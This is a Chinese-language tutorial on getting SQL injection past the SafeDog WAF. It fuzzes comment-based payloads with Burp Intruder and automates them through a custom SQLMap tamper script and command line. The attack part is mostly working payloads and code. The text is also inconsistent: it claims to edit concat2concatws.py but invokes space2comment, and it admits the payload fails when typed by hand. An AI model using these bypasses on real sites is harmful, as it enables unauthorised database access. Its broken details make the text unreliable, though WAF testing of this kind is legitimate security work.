使用 Burp Intruder 进行 Fuzz,配合 SQLMap Tamper 脚本,绕过安全狗 WAF。
前言
WAF(Web 应用防火墙)是渗透测试中常见的障碍。安全狗作为国内主流的 WAF 之一,对 SQL 注入有较强的检测能力。本文通过实战演示 Fuzz 绕过的方法。
注入绕 WAF 常用手法
- 大小写绕过(
UnIoN) /**/注释符绕过- 大数据包绕过(WAF 只检测前 2-4M 内容)
/!/条件注释绕过- 编码绕过(URL 编码、双重编码)
环境搭建
- 中间件:Apache + MySQL + PHP
- 安全狗版本:4.0
- 测试平台:有 SQL 注入点的测试站
Fuzz 过程
第一步:确认注入点
访问测试站,确认存在 SQL 注入点:
?id=1 and 1=1
被安全狗拦截。
第二步:Burp 抓包
使用 Burp 拦截请求,将 id 参数值改为可 Fuzz 的格式:
GET /test.php?id=1/*Eor*/and/*Eor*/1=1
第三步:Intruder Fuzz
将请求发送到 Intruder,在 /Eor/ 的 Eor 位置设置 payload 位置。
Payload 字典包含各种 SQL 关键词变体:
and, or, union, select, from, where, 1=1, 1=2, --, #
第四步:分析结果
成功绕过安全狗的 payload:
/*Eor*/
这个注释符可以成功绕过安全狗 4.0 的检测。
但手动构造 and/Eor/1=2 仍然被拦截——同一 payload 在 Burp 中 Fuzz 成功,手动却失败,推测与数据包编码或长度有关。
SQLMap Tamper 脚本
修改 SQLMap 的 tamper/concat2concatws.py 脚本,将空格替换为 /Eor/:
#!/usr/bin/env python2
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == "'":
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*Eor*/"
continue
retVal += payload[i]
return retVal
使用命令:
python2 sqlmap.py -r 1.txt --tamper=space2comment
成功利用 SQLMap 完成注入。
小结
- Fuzz 是绕过 WAF 最有效的方法——通过大量 payload 变体测试,找到 WAF 规则的盲区
- Burp Intruder + 自定义字典可以系统化发现绕过模式
- SQLMap Tamper 脚本可将手动发现的绕过技巧自动化
- 同一个 payload 在 Burp 中成功、手动失败,可能与 HTTP 协议版本、编码、数据包大小等因素有关
本文内容仅用于安全研究和授权测试,请勿用于非法用途。